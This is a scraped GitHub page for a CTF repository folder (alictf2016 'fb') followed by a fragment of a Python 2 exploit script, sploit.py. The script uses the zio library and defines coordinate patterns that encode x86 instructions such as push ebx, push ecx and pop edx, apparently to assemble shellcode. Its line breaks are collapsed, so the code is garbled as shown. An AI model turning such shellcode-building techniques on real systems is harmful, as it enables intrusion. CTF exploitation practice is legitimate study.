in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/murmus/ctf/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":60412168,"originating_url":"https://github.com/murmus/ctf/tree/master/events/alictf2016/fb","user_id":null}}" data-hydro-click-hmac="34233ec603c916e398102431d153876dde5720561d768c5c7f77c5e546e0170a"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/murmus/ctf/refs" cache-key="v0:1465047579.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bXVybXVzL2N0Zg==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/murmus/ctf/refs" cache-key="v0:1465047579.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bXVybXVzL2N0Zg==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>events</span></span><span>/</span><span><span>alictf2016</span></span><span>/</span>fb<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>events</span></span><span>/</span><span><span>alictf2016</span></span><span>/</span>fb<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/murmus/ctf/tree-commit/9d69254a338173938ee2118d85b54100ae4a37b3/events/alictf2016/fb" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/murmus/ctf/file-list/master/events/alictf2016/fb"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>notes.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
#!/usr/bin/env python2#-*- coding:utf-8 -*-
import os, sys# https://github.com/zTrix/ziofrom zio import *
nop = [(0,0), (3, 0), (0, 1), (1, 1), (2, 1), (3, 1), (0, 3), (1, 3), (0, 4), (1, 4)]nop2 = [(0,0), (3, 0), (0, 1), (1, 1), (2, 1), (3, 1), (2, 3), (3, 3), (2, 4), (3, 4)]inc_eax = [(1, 0), (0, 1), (2, 1), (1, 2)]inc_eax2 = [(1, 0), (0, 1), (2, 1), (0,2), (2,2), (1, 3)]# 0x53push_ebx = [(1, 0), (3, 0), (0, 1), (2, 1), (3, 1), (0, 2), (0, 3), (-1, 3), (6, 0), (7, 0), (6, 1), (7, 1)]# 0x51push_ecx = [(1, 0), (3, 0), (1, 1), (2, 1), (4, 1), (4, 2), (4, 3), (5, 3), (7, 0), (7, 1), (8, 1), (9, 1), (10, 2), (9, 3), (11, 3), (11, 4), (10, 4)]
# 0x51 0x6a 0x3cpush_ecx_push_num = [(1, 0), (3, 0), (1, 1), (2, 1), (4, 1), (4, 2), (4, 3), (5, 3), (7,0), (9,0), (10,0), (7,1),(8,1),(10,1),(12,0),(14,0),(12,1),(13,1),(15,1),(15,2),(15,3),(16,3),(18,0),(19,0),(20,0),(21,0),(18,1),(19,2),(20,2),(21,1)]
# push_es = [(5, 0), (6, 0), (5, 1), (6, 1)]# pop_es = [(5, 0), (6, 0), (7, 0), (4, 1), (7, 1), (5, 2), (6, 2)]# pop_es_nop = []push_num = [(1, 0), (2,0), (1, 1), (2, 1), (4,0), (6,0), (4,1), (5,1), (7,1), (7,2), (7,3), (8,3), (10,0), (11,0), (12,0), (13,0), (10, 1), (11,2), (12,2), (13,1)]pop_edx = [(1,0), (3,0), (4,0), (6,0), (1,1), (2,1), (4,1), (6,1), (7,1), (8,1), (9, 2), (8, 3), (9, 3)]
